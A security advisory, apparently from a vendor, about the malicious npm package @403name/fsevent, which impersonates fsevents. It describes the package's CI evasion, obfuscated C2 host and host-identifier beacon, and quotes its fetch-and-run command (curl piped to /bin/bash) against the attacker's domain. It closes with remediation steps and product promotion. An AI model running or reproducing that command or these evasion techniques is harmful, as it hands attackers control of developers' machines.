@403name/fseventnpm
@403name/fsevent is a confirmed malicious npm package (MAL-2026-5549) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @403name/fsevent (npm)
What this malware does
On require(), index.js runs an IIFE that gates to macOS, skips when CI or GITHUB_ACTIONS is set, waits 30-90 seconds, and writes a one-shot marker at ~/.cache/.nyx-npm/f. It then spawns /bin/sh to (1) GET https://k7xm9q.xyz/api/clickfix-callback with URL-encoded query parameters bid, user (process.env.USER), host (os.hostname()), and the literal tag npm_fsevent — a beacon identifying the infected machine — and (2) execute curl -sSfL https://k7xm9q.xyz/api/payload/ | /bin/bash & disown, fetching and shell-executing attacker-controlled code with the developer's privileges. The C2 host is hidden behind atob('aHR0cHM6Ly9rN3htOXEueHl6') to evade keyword scanning. The package name @403name/fsevent and its description ("Native filesystem event watcher for Node.js — lightweight FSEvents wrapper with fallback polling") impersonate the well-known fsevents package to lure developers into installing and importing it. The combination of obfuscated C2, CI evasion, randomized delay, one-shot persistence marker, host-identifier exfiltration, and pipe-to-bash remote execution is unambiguous malicious tradecraft.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @403name/fsevent (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @403name/fsevent across your stack and pipelines.
If you installed it — respond
@403name/fsevent is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @403name/fsevent was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @403name/fsevent before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @403name/fsevent-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.